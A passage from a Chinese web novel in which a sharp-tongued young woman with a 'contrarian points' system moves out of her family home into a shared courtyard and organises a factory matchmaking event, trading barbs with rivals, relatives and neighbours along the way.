说着,她看看里面,一副欲说还休的表情,吴明珠在宋知南说她认识江茶的时候,耳朵就不由得一动, 转头见她这副表情,心中愈发好奇起来。她想问问宋知南, 但两人又不太熟,正在迟疑间,就听宋知南语重心长地对陆诗月说:“诗月,你很有才华,但性格耿直,不够圆滑,跟那些八面玲珑的人一比就容易吃亏,你以后可得小心些。” 陆诗月点头:“你说得对,我会注意的。” 陆诗月观察着宋知南的神色,问道:“知南,你今天找我有什么事吗?”两个人之前没什么交集,对方来找她应该不是为了叙旧。 宋知南也不再啰嗦,直奔主题:“想必你多少也知道我家里的情况,我爸妈本来想让我下乡,但我大哥坚持要去。我爸妈拦不住他就把气撒到我身上,我在家里住不得了,想申请宿舍又不符合条件,就想租个房子,我听别人说,你在咱们工厂附近租了一个房子,还说你租的房子特别好,我就想向你打听打听,你是在哪儿租到的房子?” 陆诗月看了一眼吴明珠,才说:“那房子其实不是租的,是吴同志见我离家远,回去不方便,让我跟她一起住。” 吴明珠再次打量了宋知南一眼,见她目光清正,不亢不卑,看上去挺干净卫生,再加上她似乎跟江茶还不对付,不由得心中一动,便问道:“宋同志也想租房?” 宋知南点头:“是的,我特别想搬出去,在家里虽然生活方便些,但精神上很不自在,我宁愿多花点钱租房就图个自由自在。” 吴明珠对此是深有感触,她也是觉得在家里不自在,父母老管着她,她才毅然搬出来住的。 宋知南见吴明珠这般询问,就猜测对方是在考察自己是不是适合当合租室友。 在这种关键时刻,她得赶紧表现出自己的作用。 宋知南接着说:“吴同志,诗月,我的要求是最好能有个单间,小一点也无所谓。我愿意每月出7块钱的房租,而且我还讲卫生爱干净不计较,我会园艺,打理菜园花园都在行(不会可以学嘛),喜欢做好吃的(喜欢不代表擅长),另外我力气大胆子大,遇到危险可以保护你们。” 听到宋知南的这番话,吴明珠的眼睛果然亮了一下。 三人正在说话间,江茶已经广播完毕,她推门出来,一看到宋知南先是怔了一下,接着眼珠一转,脸上的笑容仍旧无懈可击:“宋同志,哪阵风把你给吹来了?” 宋知南一看到江茶,顿时有了新点子,就问道:“江茶同志,我今天又得了一个好看的盒子,你和霍同志要不要买?” 江茶听宋知南提到盒子,脸上的笑容不由得一僵,随即又恢复原状,说道:“宋同志,你这是卖盒子卖上瘾了,上次从霍同志那儿赚了二十块钱还不够,今天又来了。你这样下去,小心有人举报你投机倒把哦。” 吴明珠和陆诗月都不知道事情的前因后果,听得云里雾里的。 但吴明珠能听出两人之间有过节,而且过节还不小,谁跟江茶有过节,她就对谁感兴趣。 宋知南突然脸色一变,冷冷地对江茶说道:“江茶同志,上次在废品收购站,明明是我先看上那个梳妆盒的,你跟霍同志非要强买,霍同志还命令我必须给你。瞧你俩那做派,跟封建地主家的大少爷大少姐没什么两样,我都有些怀疑你俩的阶级成分,你们这种做派哪像无产阶级呀。” 系统:杠精值加50。 江茶一听这话,脸色一板,严肃地说:“宋同志,咱们玩笑归玩笑,请你不要拿我们的出身开玩笑,我们两个是根正苗红的红五类,宋同志不信可以去查。” 宋知南:“我不会冤枉一个好人,也不会放过一个坏人。公道自在人心,我就随口一说,你急什么?你心虚什么?” 杠精系统:杠精值加50。 江茶:“我坦坦荡荡没有任何心虚。” 江茶不想再跟宋知南纠缠,拿起饭盒就往外走:“不跟你说了,我要去吃饭了。” 宋知南目送着江茶离开,重重地哼了一声。 她这声哼取悦了吴明珠,吴明珠对宋知南的态度比刚才热情多了。 她甚至还给宋知南倒了杯茶,“宋同志,你别生气,来喝口茶消消气。” 宋知南喝了一大口茶,大大地舒了口气,依旧一副气鼓鼓的模样。 陆诗月好奇地问道:“知南,你跟江茶是怎么回事?” 吴明珠也是一脸好奇地看着宋知南。 宋知南等的就是这句问话,当下便滔滔不绝地说了起来:“小孩没娘,说来话长。那天我……” 宋知南把事前的来龙去脉给解释了一遍,废品站的事刚才她们已经听了几句,但霍峥嵘的小弟陈青跟宋知南的事两人是第一次听说。 当陆诗月听到陈青邀请宋知南看电影,宋知南不答应反被人说不知好歹时,不禁眉头紧蹙:“这些人真是可笑,凭什么他约你看电影你就得答应?你还没有拒绝的权利了?” 吴明珠家境好长得漂亮,对她有意的男同志很多,她早就烦不胜烦,颇有感触地说道:“宋同志,你以后不要对男同志太客气,尤其是不要对长得丑家境差的男生表示善意。你明明只是好心而已,对方却自作多情地认为你对他有意。你拒绝他们,弄得你好像始乱终弃一样,别人还都站在他们那边,你没处说理去。”她不是一开始就这么高傲冷漠的,还不是被人恶心的次数多了才变成这样的。 宋知南对吴明珠的话深表赞同,她用力点头:“吴同志,你的话太对了,可惜我以前没意识到。我以前一直是对所有人都礼貌和气充满善意,但没想到这份善意也会被人曲解。我以前不理解那些长得漂亮的女同志为什么不爱搭理人,现在理解了,人家做为一只天鹅,得被多少青蛙、蟾蜍惦记?天鹅本来只是低个头看眼水面,下面仰望着的蟾蜍就以为天鹅在看他们,呱呱地叫个不停,次数一多,人家天鹅头都不爱低头了,就天天昂着头,还被人说高傲。” 陆诗月听到这个别具一格的比喻忍俊不禁。 吴明珠的脑海中立即浮现出一只高傲的白天鹅傲世群蛤的画面,她没忍住,也跟着笑了起来。 这下吴明珠就更喜欢宋知南了,这姑娘真是多才多艺,不但会园艺还会厨艺,说话还风趣幽默,最主要的是跟江茶不对付,这样的人不做室友多可惜。 想到这里,吴明珠没有丝毫犹豫地说道:“宋同志,我跟诗月合住一个院子,院子里还有两间空房,你要是愿意可以过来跟我们合住。你下午下班来找我们,咱们一起回去,你顺便看看房子。” 宋知南喜出望外:“哎呀,我本来今天就是来打听个消息,没想到收获这么大。吴同志,太感谢你了。” 陆诗月也很意外,吴明珠不是一个很好相处的人,也不在意别人的面子。 所以吴明珠接纳宋知南,应该不是冲着自己的面子,她的面子没那么大。那么就是冲着宋知南这个人。 她不由得暗暗佩服宋知南,她听别人说宋知南的工作是靠自己得来的,上班不到一个月,就在纺织厂打出了名气。对于跟宋知南合租,她倒也不反对。毕竟那么大一个院子,两个女孩子住也太空了,虽然家属区挺安全的,但到了晚上,心里还是有些发毛,多一个人壮胆也挺好。 想到这里,陆诗月就对宋知南说:“那你下班后记得来找我们,咱们一起过去。” “好的,我先回去了。” “好的,再见。” 宋知南哼着歌儿,迈着轻快的脚步回去了。 何黛一见她这个样子就知道事情进展顺利,就笑着问:“你找到房子了?” 宋知南:“差不多了,吴明珠让我下班后去看房。” “哇,真厉害。” 何黛既为宋知南高兴,又替她担心,因为大家都知道,吴明珠这人可不好相处。 宋知南毫不在意:“没关系,陆诗月说房子挺大的,我有独立的房间。”不好相处就减少相处的时间,以后有合适的机会再搬出来。 第24章 下午, 贺胜男开完会回来说,他们工会和厂委打算联合另外几家工厂举办一场联谊会, 为广大单身男女牵线搭桥,这个活动宋知南和何黛也要过去帮忙。 贺胜男笑着说:“联谊会是为单身青年举办的,参加的单位不光有咱们纺织厂,还有隔壁的国棉厂、钢铁厂和机械厂,你俩要不要也报名参加?” 何黛窘得脸色微红,低头绞着衣角不说话。 宋知南说道:“贺主任,我上班第一天就跟马大姐说了,美帝不灭,何以家为;全球不赤化,我没心思成家。” 贺胜男自然也听说此事了,但她只是当个笑话听, 根本没当真。 此时她见宋知南一脸严肃地重申这番话, 她也不由得严肃起来:“小宋, 你是开玩笑的,还是真这么想?” 宋知南神色认真:“玩归玩闹归闹, 我不拿这事开玩笑。” 贺胜男:“……那好吧。”她其实还是不信, 就让时间证明这一切吧。谁年轻时没几个宏大的梦想呢?岁数大了,认清现实了,就变得务实了。 贺胜男不再纠缠这个问题,就转而说起了工作的事:“你们这几天也好好琢磨琢磨,怎么把联谊会办得出彩。” “好的,贺主任。” 贺胜男说完就离开了,她还有一堆事要忙。 何黛和跟宋知南大眼瞪小眼。 宋知南问何黛:“你有办联谊会的经验吗?” 何黛摇头:“没有。” “你参加过吗?” 何黛红着脸摇头:“没有没有。” 宋知南也没有参加过, 她连具体的流程都不知道,看来她只能向有经验的人打听。 5点半, 宋知南准时下班,她一路小跑到广播室门口,陆诗月和吴明珠在等她。 三人一边说话一边朝吴家走去。 吴家离纺织厂不远,走路十分钟就到了。这个小院是吴明珠的爷爷奶奶留给她的,吴家阳盛阴衰,家里男孩多女孩少,女孩很受重视,从名字就能听出来,吴明珠是吴家的掌上明珠。 三人边走边聊,说话间,她们就到了一栋院子前,吴明珠抬抬下巴:“喏,到了。” 说着她拿出钥匙开门,院门是结实的漆了红漆的大铁门,院墙有两米多高,上面插满了尖锐的玻璃片和碎酒瓶,看上去倒挺安全。 等进了院子,宋知南就更满意了,院子挺大,被分成很多个四方格子,里面种了月季和鸡冠花,院子正中间有两棵葡萄树,树下有石桌石凳,南边靠墙处,有棵枣树和梨树,房子坐北朝南,正房四间,另带两间厢房,厨房厕所都有。 吴明珠指指左边:“这两间是我的,中间那间是诗月的,最右边那间归你,可以吗?” “当然可以。” 陆诗月领着宋知南去看最右边那个房间,房间约有20平米,里面有一张床,一个衣柜,一张书桌一把椅子,连家具都不用添置。 宋知南越看越满意,出来就对吴明珠说:“吴同志,我对房子非常满意。房租你看我给多少合适?” 吴明珠似乎才想起房租这茬:“你还要给房租啊?” 宋知南笑着说:“那当然得给,不然我也不好意思蹭住。” 她跟吴明珠又没什么交情,再说就算有交情,也得明算帐。 吴明珠也难住了,陆诗月是被她拉过来陪住的,自然没收钱,她以前也没当过房东,也不知道收多少钱合适。 她只好说道:“那你看着给吧。” 宋知南结合这个时代的物价,开出了一个不高不低的价格:“那就每月8块钱?” 吴明珠看了宋知南一眼:“你一月工资才多少钱?一下子给8块你怎么生活?这样吧,你每月给我五块就行。你不是会园艺吗?这院子交给你打理了。”房子以前是她爷爷奶奶住的,他们挺会打理,两位老人去世后,自己懒得打理,爸妈也忙,院子都荒废了。 这个提议正中宋知南的下怀,她点头答应:“好的,没问题。” 商量完毕,吴明珠回房间去了,宋知南就开始撸起袖子干活,陆诗月也过来帮忙。 宋知南先把屋里打扫一遍,找了块抹布把桌椅擦了一遍。 宋知南想了一下,自己的东西也不多,也不必非得等到星期天再搬家,明天中午就可以开始搬了。 她跟吴明珠打个招呼,告诉她明天中午搬家。 吴明珠把房间钥匙给她,并让陆诗月把大门钥匙给她一个。 临分别时,宋知南顺口问了两人关于联谊会的事。 陆诗月说:“我自己没参加过,我表姐参加过。联谊会其实就是相亲会,把单身青年男女往一块儿凑。” 两人比以前熟了,陆诗月说话也随意起来:“你自己还没对象呢,就开始做起媒人了?” 宋知南无奈地说:“这是我们贺主任下的任务,不去也不行呀。” 吴明珠提醒道:“我听说江茶也要过去帮忙。” “她也去啊,真是冤家路窄。” 吴明珠一说起江茶话就多了起来:“江茶无论做什么事都能大出风头,只要有她在,就没别人什么事了。宋同志你可要当心啊。” 这话有点挑拨的意思了,陆诗月看着宋知南,希望她能理智看待。 宋知南笑着问,“明珠,你参加联谊会吗?” 吴明珠急忙摇头:“我才不去呢。”那些人她没一个看得上的。但这话她说出来怕引起众怒。 宋知南眉头一挑,计上心来,吴明珠是厂长千金,人脉多,还跟江茶不对付,她可以充分利用一下。 今天天不早了,两人还要回家吃饭,她也没法多聊,便就此告别。 宋知南回到家里,宋冬宝已经做好晚饭,大家也没等她,已经吃上了。 宋冬宝忐忑不安地说:“三姐,我们干等你不回来就先吃了。”他其实想等的,但爸妈不让等。 宋知南全然不在乎,反正她都要搬家了。 宋冬宝很有眼色地去给宋知南盛饭,宋知南坐下来刚吃了两口,宋上进就把筷子放下,说道:“小南,我觉着让冬宝住客厅确实不合适。” 宋知南这次非常好说话:“行啦,明天就让他搬回去住。” 大家一脸意外,这么简单就说通了? 宋知南接着宣布一个消息:“我找好房子了,明天就搬家。” 大家异口同声:“搬家?” 宋知南点头:“是的,我搬家。” 大家这才反应过来,你一句我一句地追问。 “谁家的房子?” “多少钱一个月?” 宋知南也不打算瞒着,因为根本瞒不住,他们一打听就知道。 “房子是吴明珠的,就是吴厂长闺女的,她跟广播站的陆诗月一起住,我们几个女孩住一起也方便,房租每个月五块钱。” 宋上进十分不赞同:“小南,你大哥下乡了,知夏过些日子也会搬到陈家去,明明自己家里有房子,你为啥非要出去租房住?” 宋冬宝也跟着说:“三姐,你在家多好呀,为啥要搬走呀?” 宋知夏想说些什么,嘴唇动了几下,最后什么也没说。 李玉华冷笑一声:“你宁愿把钱给别人赚,也不交给家里,真是大方。” 宋知南可不会惯着李玉华,直接怼道:“我为啥宁愿外出租房也不住在家里,某些人应该好好反省反省。人在做天在看。” 李玉华突然爆发:“天在看,让老天爷好好看看,看雷劈的该是谁。” 宋知南赶紧起身,飞快地远离李玉华,大家不解地看着她。 宋知南:“你们也离爸妈远些,我怕雷劈他们时会连累到咱们。” 夫妻两人同仇敌忾:“宋知南!” 杠精系统:杠精值加20。 宋知南两手一摊:“所以别问我为什么不住家里要搬出去,这就是原因啊。” 宋知南说完饭也不想吃了,准备回屋加餐。 她正要回屋,宋上进做为一家之主终于发威了:“小四,我不同意你搬出去!” 李玉华紧跟其后:“我也不同意,你搬出去,别人会怎么看咱们家?” 宋知南语气平淡:“我只是通知你们,不是要跟你们商量。你们同不同意我都要搬出去。” 李玉华忍无可忍,拉起宋上进就往外走:“他爸,走,咱们去妇联找贺主任说道说道,让她调解调解咱们家的纠纷。” 宋知南丝毫不为所动:“你们随便,反正丢人的不是我。” 宋上进面带犹豫,李玉华硬拽着他往外走。 宋知夏很有眼色地赶紧去拖住李玉华:“妈,你别冲动。你这么一闹,全厂都知道咱们家不和了。” 宋冬宝也劝:“三姐想搬就让她搬,到时二姐一出嫁,房间就空出来了,大哥将来结婚也有空房间了。” 宋上进和李玉华的脚步果然停住了。 宋知夏心中冷笑,还是弟弟说到点子上了。她看着宋知南,无奈地笑了笑。宋知南无所谓,没有期望就没有失望。 宋上进自己给自己找了个台阶下:“玉华,算了吧,别闹了。孩子大了翅膀硬了,想飞就飞吧。”老四搬走了也好,至少家里不会鸡飞狗跳的。 宋知夏说:“知南,我可是听说吴明珠这人性子跋扈傲气,不好相处。”这两人对上了,那可是朝天椒遇上独头蒜,谁也不让谁。 宋知南:“没事,她再不好相处,也比你们懂礼貌知分寸。我连你们都能应付,我怕谁?” 宋知夏无言以对。 宋知南感慨道:“这个家虽然没给我温暖和好处,但磨炼了我一身本领。从家里出去后,我将不惧一切妖魔鬼怪。” 宋知夏真想回妹妹,家里你才是最大的妖魔鬼怪啊,但她什么都不敢说。 第25章 宋知南不理会宋家众人, 她回到房间开始收拾东西。宋知夏悄悄推门进来,从书包里翻出一块鸡蛋糕递过去:“你没吃晚饭, 这个给你。” 宋知南看了宋知夏一眼:“自从我开始发疯后,你对我越来越好了。以前哪有这待遇?” 宋知夏没忍住,翻了个白眼:“我给你好吃的,你还阴阳怪气,我以前吃得起鸡蛋糕吗?你不吃算了,我还舍不得呢。” 宋知南飞快地抢过鸡蛋糕几口吃完,“我说你归说你,吃归吃。反正我拿人不手短,吃人不嘴软。” 宋知夏无言以对。她坐在小床上,默默地看着宋知南收拾东西,末了说了一句:“真没想到, 你还能靠自己搬出去, 还以为只能靠嫁人才能离开家呢。” 宋知南嗤之以鼻:“靠嫁人搬出去?那是从一个小火坑跳到一个大火坑, 要是嫁人真那么好,男人不得抢破头?还轮得到咱们女人?” 宋知夏没跟妹妹争辩。 宋知南也懒得说那么多, 她接着整理东西。她的东西不多, 衣裳就那么几件,四双鞋子,一箱书,连同被子和杂七杂八的东西一共打了三个包袱就完事。 宋冬宝在门外迟疑一下便进来了,他一进房间就说:“你俩的房间又小又暗,怪不得三姐喜欢我的房间。” 宋知夏阴阳怪气地说:“你们那间是儿子的房间,我们能比吗?我们有的住就得感恩知足。” 宋冬宝不知道接什么话好, 只好嘿嘿笑了两声。 宋知南在收拾东西,另一边, 宋上进和李玉华也在屋里相顾无言,对着叹息。 李玉华想想还是不甘心:“他爸,咱真的就让老四这么搬出去?” 宋上进唉声叹气:“不然还能怎么着?管也管不住,说又说不得。” 李玉华抹了一把眼泪:“我也不知道她为啥就变成了这副模样,以前她虽然不太听话但总比现在强多了。” 宋上进:“谁说不是呢。” 李玉华压低声音问道:“那你说,咱就真拿老四没办法了?” 宋上进目光闪烁不定,这种脱出掌控的感觉特别不好,他很不喜欢。可是他现在是一点办法也没有。不过现在没有,不代表以后没有。 想到这里,他安慰李玉华:“算了,以后走一步看一步吧。老四那性子将来有她吃亏的时候,等她在外面吃亏了就知道家里的好了。” 李玉华现在倒是盼着宋知南早点吃个大亏,好好地挫一挫她的傲气。 宋知南收拾好东西,晚上依旧住在宋冬宝的房间里,晚上她给自己加个餐,吃了三个包子。她现在的杠精值很富裕,商城也随之升级了一次,上架了很多新东西。其中有一种药,可以引出使用者的恶念,短暂的操控他的精神。宋知南一看就知道这玩意儿是个好东西。一看价格666点杠精值,她顿时萎了。 吃饱喝足,刷牙洗脸睡觉。次日早晨,宋知南吃过早饭,一手拎一个比较轻的包袱去上班,晚上下班再跑一趟就完事了。其实她也可以用空间运输,但东西没多少,想想也没必要。 邻居们也听说了宋知南要搬走的事,大家都不赞同,自已家明明有房子,还非要搬出去住,那不是钱烧的吗?小年轻就是败家。 至于说家里不和睦,谁家不是磕磕绊绊的?舌头跟牙还有磕绊呢。大伙不都这么过来了,怎么就她宋知南不行?连自己家人都容不了,就是她性子不行。大家私下里小声议论,谁也不敢当面说。上次被怼的经历还有印象呢,宋知南这种人谁敢惹? 大家都知道宋知南不好惹,但还是有人没忍住,比如那个赵大妈。 “哎哟小南,你家有房子还要搬出去住,就不怕别人说你呀。” 宋知南停住脚步,双目如炬:“赵大妈,你告诉我,谁说我了?我这就去撕烂他的嘴。” 赵大妈吓得后退一步。 宋知南步步紧逼:“你说啊,到底是谁?是不是王大爷?你点头了,那就是他。” 赵大妈还没反应过来,宋知南一个箭步冲到前边的王大爷面前:“赵大妈说你说我了,你个老登的嘴挺碎呀,老东西一把年纪了不干正事。” 王大爷瞪大眼睛,他好好地走路也能挨骂? 一时间,他不知道是该先骂宋知南还是先骂赵大妈,最后他决定先骂赵大妈:“好你个老赵,你这张破嘴,明明是你说小南的,怎么赖到我头上了?” “我没说你,是她诬赖我。” “她咋不诬赖别人?你这人本来就嘴碎。” “你以为你好呀,刚才你确实也说她了。” “你说得更多。” 两人当即对掐起来。 他们两人还在对掐,宋知南又高声问道:“还有谁?还有谁说我了?都给我站出来!” 众邻居老实得像鹌鹑似的,一个个的眼观鼻,鼻观心,谁也没说话。惹不起,他们根本惹不起。 宋知南很满意地说道:“很好,我就知道没人说我。”邻居也是需要驯化的,没事骂骂他们是为了他们好。 魏芬也听说宋知南要搬走了,她颇有些不舍,上前去帮宋知南拎包袱,细心叮咛道:“你在外面住一定要小心。” 宋知南笑着说:“没问题的,我们三个人合住。” 宋知南又问魏芬联谊会的事,魏芬说道:“哎哟,咱们单位又要举行联谊会了?怪不得我们车间里的年轻姑娘们这几天总聚在一起叽叽喳喳的。” 宋知南向她打听前面几届是怎么办的。 魏芬回忆了一下说:“也没咋办,就是把单身的青年男女凑一起开个茶话会,喝喝茶聊聊天,让性格开朗点的表演个节目,听说几年前还能跳个舞,现在谁敢跳呀,也只能干坐着瞎聊天。” 既然以前办的也不出彩,那他们这届可操作的空间就大了。宋知南决定整整活,在政策允许的情况下,尽可能地丰富一下大家的精神生活。 魏芬帮着宋知南把包袱提到妇联办公室就去上班了。 宋知南开始制作表格,先手写一份再拿去打印。 何黛凑上来看。 宋知南做的是报名的表格,上面写着姓名、性别、出身、身高、体重、工作岗位等等。姓名旁边还画有一个框框,上面写着贴照片处。 何黛咂舌:“这是你弄的表格?也太详细了吧?” 宋知南说:“咱们纺织厂大部分是女工,咱们妇联是女同志的娘家人,做为娘家人就得对男方严格把关。得把那些参加联谊会的男青年的底给摸透了,也是对女同志负责。” 何黛担心弄得这么麻烦有的人干脆就不参加了。 宋知南无所谓地说:“不参加就不参加,这点小事都嫌麻烦,以后结婚更麻烦呢,那还找什么对象?继续打光棍呗,反正急的不是我。” 整个上午,宋知南都在做表格,写计划,忙得不亦乐乎。 午休时间,她飞快地去食堂打好两人的饭,飞快地吃完,然后提着行李去新家。 宋知南把行李往床上一扔,打算晚上回来再整理。 她趁着院里没人,赶紧把地里的草拔了,找了把铁锹松松土,把种子撒进去。已经是初秋了,留给她种菜的时间不多了。 宋知南正在忙着种菜,猛一抬头就看见大门口站着一个十二三岁的女孩正往里探头探脑,女孩长得挺好看,就是一脸的苦大愁深,一双眼睛充满着警惕和防备。 宋知南擦了把汗,问她找谁。 女孩往里看了一眼,不答反问:“你是谁?我怎么没见过你?” 宋知南答道:“我叫宋知南,是陆诗月的好朋友,今天刚搬过来,小妹妹,你叫什么名字?” 女孩别扭地答道:“我叫边月,就住在隔壁。” “远亲不如近邻,以后咱们就是近邻了,有空一起玩。” 边月心不在焉地点了下头,又用那双警惕的眼睛打量了一眼宋知南迟疑着问道:“你是妇联的那个宋知南姐姐?” 宋知南面带诧异:“哎哟,我的名气这么大吗?连你都听说我了?” 边月再次点头:“听说过。” 边月还想再说什么,突然听到有人叫她,她脸色一变,理也不理,扭头跑开了。 宋知南继续翻土,没想到走了小的,又来一个大的,还是隔壁的。 这次来的是边月的妈,刘素琴。刘素琴看着挺年轻,长相秀气,头发是新烫的,衣裳也挺时髦,穿着一条蓝色布拉吉,脚踩黑色带跟小皮鞋。 刘素琴笑吟吟地打量着宋知南,跟她热情地套近乎:“我就住在你们隔壁,以后有啥事你说一声,俗话说远亲不如近邻,大家就应该互相帮助嘛。” “刘姐你说得对。” 刘素琴有点自来熟,接着就说起了自家的事,“我家那口子是咱厂里运输部的司机,经常出差,他人挺和气,以后你见了就知道了。不过我家那个闺女性子不好,你以后可得多担待些。” 宋知南“哦”了一声,不动声色道:“我刚才看到的小姑娘就是你闺女吧,人瞧着挺好的呀。” 刘素琴脸上流露出苦涩的笑容,一副欲说还休的模样。宋知南一看,哦豁,这熟悉的调调。 刘素琴一副苦在心口难说的模样,先调起宋知南的胃口,最后来一句:“反正你以后就知道了,我上班去了,咱们以后有空再聊。” 宋知南眉头一挑,看边月和刘素琴的年龄和长相,两人不太像是亲母女。心机后妈与青春叛逆期继女,一听就是一场大戏。 宋知南又忙活了一小会儿,赶紧锁上大门,一路小跑回去上班。 路上遇到宋知夏对象陈安华的丑陋表弟刘卫国,上次在她家里恶心过人。宋知南着急上班,没时间骂人,便装作没看见对方,目不斜视地昂头走过去。 刘卫国盯着宋知南看了一会儿,犯贱地叫住了她:“宋知南,你怎么会在这里?” 宋知南轻蔑地看了刘卫国一眼,像看一坨屎似的,左手掩鼻,右手作扇扇风驱味。 这动作伤害性不大,但侮辱性极强。 刘卫国气得浑身的肥肉都颤了一下,上次被骂的仇还没报呢,这回又添了新的。刘卫国恨恨地踢着路上的石子,嘴里骂道:“宋知南,你给我等着,我以后叫你好看。” 第26章 宋知南紧赶慢赶到了办公室, 她倒是没迟到,其实就算迟到也没什么, 她们上班也不打卡。 下午宋知南终于把表格弄好了,她先交给贺胜男,贺胜男接过来一看也挺意外:“小宋,这表格弄得够齐全的呀。” 宋知南说:“贺主任,我是这么想的。咱们纺织厂的女工特别多,咱们妇联又是女同志的娘家人,这娘家人挑女婿是不是得特别上心?挑女婿第一条,必须要以阶级斗争为纲,坚决捍卫咱们无产阶级队伍的纯洁性,不让坏分子混进青年队伍,所以我才弄了这个表格, 把大家的阶级属性、家庭成分都弄清楚。” 贺胜男用复杂的目光看着宋知南:“小宋, 没想到你的思想这么红。” 宋知南见贺胜男还在犹豫, 又接着补充一句:“贺主任,为啥咱们妇联的调解工作这么复杂难做呢?我觉得跟有些人结婚太草率有关, 很多青年男女都没有深入了解就随随便便结婚了, 婚后才发现性格不合,双方家庭不合,两天一小吵,三天一大吵,吵着吵着就来找妇联评理。我们现在这么做,就是从源头上解决问题,让大家婚前多了解对方一些, 看清楚自己到底适合什么样的,他们家庭幸福了, 咱们的妇联工作也好做了,一举两得,两全其美。” 不得不说,贺主任都忍不住心动了。 她收起表格:“那行,我问问杨主任去。” 宋知南顺便把自己写的报告递上去,“这是我写的报告,您给把把关。” 贺胜男接过来一看,好嘛,这个写得更详细。她干脆一起都拿给杨主任看看。 杨主任仔细看了下表格,说:“小宋同志真是胆大心细脑子灵,这表格整得挺全面。” 她再一看报告的名字,《革命大联谊,我们必须弄清谁是谁》,这名字取得有排面。 杨主任想了一下,往年的联谊会没啥出彩的,中规中矩的,你要说效果,也不能说没有;你要说影响,也就那么回事。如果今年按照宋知南的想法去办,她有预感,影响绝对会大上几倍。杨主任做为女工委主任又同时是工会副主席,她是有野心的,既然有机会扩大妇联和工会的影响力,为什么不去试试? 杨主任稍一考虑便说道:“小贺,联谊会的事说大不大说小不小,咱们还要准备国庆和厂庆的事,依我看,联谊会干脆就交给小宋小何负责算了,正好给她们一个机会锻炼锻炼。” 贺胜男揣摩杨主任的意思,宋知南是新来的,她若是把事情办好了,自然是妇联和工会的荣誉和荣光,若是办得不好,她一个新来的,上级领导也不能拿她怎么样。 有了杨主任发话,事情就变得不一样了。 宋知南第二天就拿着表格让后勤工作人员印报名表,他们用的是传统油印,为了节省成本,纸用的是发黄的,字也不够清晰,上面还有油墨。宋知南也没说什么,她自己先填了一张作为范本。随后,她以纺织厂工会的名义去钢铁厂和机械厂国棉厂,让他们的职工照着这个范本填写。 “你们厂报名的同志要认真填写,男同志一定要贴上近照,近照就是最近几个月的照片,几年前的就不要贴出来了。女同志自愿,愿意贴的就贴。” 三个工厂的工会干事都傻眼了,“宋同志,相个亲这么麻烦吗?” 宋知南义正词严:“这点小事都嫌麻烦,那还是别找对象了,后面还有更麻烦的呢。结婚麻不麻烦?那要不别结了?” 一说他们一个不吱声。 宋知南回到纺织厂便开始带着人布置会场,联谊会就在他们纺织厂办,当然其他工厂也送来了少许经费物资。 宋知南让何黛和另一个干事小李去买瓜子花生碎茶叶,做横幅。 江茶也过来帮忙,一看到宋知南,脸上的笑容渐渐消失,怎么哪都有她? 在众目睽睽之下,江茶倒显得十分大方:“宋同志,希望咱们合作愉快,一起办好联谊会。” 对方茶言茶语,宋知南便打起了官腔:“这事是杨主任特意交代的,是我们工会的分内职责。我一定会竭尽全力办好联谊会,多谢江同志的配合。” 江茶脸上的笑容愈发勉强。 两天后,宋知南又去三个工厂把报名表要了过来,亲自审查,审完她还在其中几张报名表上面做标记。 长得好个子高工作好的就在后面画只小天鹅,可惜的是几乎没有;次一等的,她就画只鹅;又高又瘦的,画根竹竿;个子高长得一般的就在后面画只熊;又矮又瘦的,就画只耗子;矮胖的就画只小猪。 等到联谊会那天,她通知纺织厂的女工先到,顺便把报名表拿给她们看。 大家你看我,我看你,都不好意思看,最后有个大胆的姑娘拿过来看。 宋知南说:“我看了一下照片,长得还不错、家庭成分特别纯洁的很少,钢铁厂有三个,机械厂有两个,你们可以重点关注一下。” 大家脸红得像个大苹果,咋还对男同志评头论足起来了?多不好意思呀。 宋知南见大家不好意思,就说道:“你们也别不好意思,人家那边可是在私底下评选出咱们纺织厂的厂花了。怎么着?就兴他们对咱们女工评头论足,就不兴我们评评他们?” 大家的情绪果然被调动起来了:“对对,凭什么他们可以对咱们评头论足,咱也选出钢铁厂和机械厂的厂……草。” 大家叽叽喳喳地讨论了半个小时,最后选出了钢铁厂的厂草陆淮州,机械厂厂草林之洛。 又过了十分钟,钢铁厂和机械厂的职工们才三五成群的结队而来。 毕竟是联谊会,大家都用心打扮了一番。男的洗头洗脸刮了胡子,换上了最好的衣裳。 宋知南站在主席台上居高临下地观察着这些男同志,高的矮的胖的瘦的都有。 相貌端庄的是少数,大部分人长相是中等偏下。整体质量跟女同志差远了。 基本盘太差了。 那些男同志们见一个十五六岁的女同志,正目光如炬地打量着他们,时而摇头时而叹息的,大家都觉得稀奇,就有人打听她是谁。 有人挤眉弄眼地说:“你说她呀,她就是妇联的宋知南。前几天填的那个报名表记得不?就是她弄的。” “哦,原来是她。” “好家伙,年纪不大,心眼挺多。” “听说她也没对象,你们谁去会会她?” “可拉倒吧,你别坑人。你听说没有,纺织厂的男同志集体抵制她,谁要敢跟她处对象,大家就孤立谁。” “噗,真的假的?” “绝对是真的。” …… 大家的议论越来越汹涌,等到有人从女同志那儿拿到报名表,看到上面的标注时,有人破防了。 一个个子不高、长相非常偏下的男同志,直接向宋知南发难:“宋同志,你把我们男同志分成三六九等是什么意思?听说你们还给我们钢铁厂和机械厂选出了什么厂草?请你给我们一个解释。” 有人出头就有人附和:“对对,宋同志,你必须得给我们一个解释。” 大家群情激愤,把正跟霍峥嵘的小弟们说话的江茶都给惊动了。霍峥嵘担心自己太受欢迎江茶会吃醋,今天就没来。但他的小弟李松、陈青他们都来凑热闹了。 众目睽睽之下,就见宋知南不慌不忙地拿起铁皮喇叭,说道:“各位男同志们,我希望你们大度些,不要那么激动。我在这里解释一下,我不是对你们所有人了划分等级,我只针对长得好看、风评好的男人划分一下级别,跟你们大多数人没有关系,这么说,你们明白了吗?” 众人哗然:敢情他们都不配被划分等级? 这句话果然引起了众怒。 杠精系统:宿主威武,引起众怒,杠精值加600。 宋知南诧异:好家伙,这一波杠精值值了。 看来无论是哪瓣蒜哪根葱,天下的人性都相通。 无论是茅草房还是烂尾房,天下的男人都容易破防。 她随随便便一句话,就能收获600杠精值。 没有人能随随便便成功,但她说话一随便就能成功。 宋知南往下压了压手,接着说:“我见大家都太严肃,就给大伙开了个玩笑,活跃一下气氛。咱们无产阶级就是要有严肃的活泼嘛,希望你们不要介意。下面,我宣布联谊会正式开始。” 男同志们:“……”我信你个鬼。 宋知南接下来又抛出一个问题:“我替我们纺织厂的女同志问一下,你们大家有多少人想娶一个孝顺你们父母的媳妇,想的请举手。” 男同志们,你看看我,我看看你,一时间没有人举手。 宋知南鼓励道:“不都说男同志大胆吗?今天咋这么害羞呢?莫不是你们怕我?” 